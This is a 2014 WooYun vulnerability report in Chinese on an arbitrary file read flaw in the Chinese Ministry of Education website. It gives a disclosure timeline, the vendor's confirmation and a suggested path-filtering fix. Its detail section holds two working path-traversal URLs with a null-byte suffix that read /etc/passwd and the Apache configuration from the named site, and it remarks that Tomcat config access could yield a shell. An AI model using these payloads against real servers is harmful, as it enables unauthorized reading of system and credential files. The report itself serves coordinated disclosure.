漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-066333
漏洞标题：中华人民共和国教育部网站任意文件读取漏洞
相关厂商：中华人民共和国教育部
漏洞作者： GrayTrack
提交时间：2014-06-27 11:15
修复时间：2014-08-11 11:16
公开时间：2014-08-11 11:16
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-27： 细节已通知厂商并且等待厂商处理中
2014-06-27： 厂商已经确认，细节仅向厂商公开
2014-07-07： 细节向核心白帽子及相关领域专家公开
2014-07-17： 细节向普通白帽子公开
2014-07-27： 细节向实习白帽子公开
2014-08-11： 细节向公众公开
简要描述：
谢绝查水表，我啥也没干，求高rank去众测，尼玛成路人了
详细说明：
http://www.moe.edu.cn/ucapformsresource/resourceservlet.ucap?key=/../../../../../../../../../../etc/httpd/conf/httpd.conf%00.jpg&filename=1.txt 下载apache配置文件，下载tomcat配置文件可getshell
http://www.moe.edu.cn/ucapformsresource/resourceservlet.ucap?key=/../../../../../../../../../../etc/passwd%00.jpg&filename=1.txt
漏洞证明：
修复方案：
路径过滤
版权声明：转载请注明来源 GrayTrack@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：16
确认时间：2014-06-27 15:26
厂商回复：
CNVD确认并复现所述情况，已经第一时间转由CNCERT向教育部教育信息管理中心通报，由其后续协调处置。同时对于所述风险，有可能是存在由于通用软件漏洞导致，已经进一步验证其他案例。
rank 16
最新状态：
暂无
漏洞评价：
评论
-
@cncert国家互联网应急中心 +1
( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)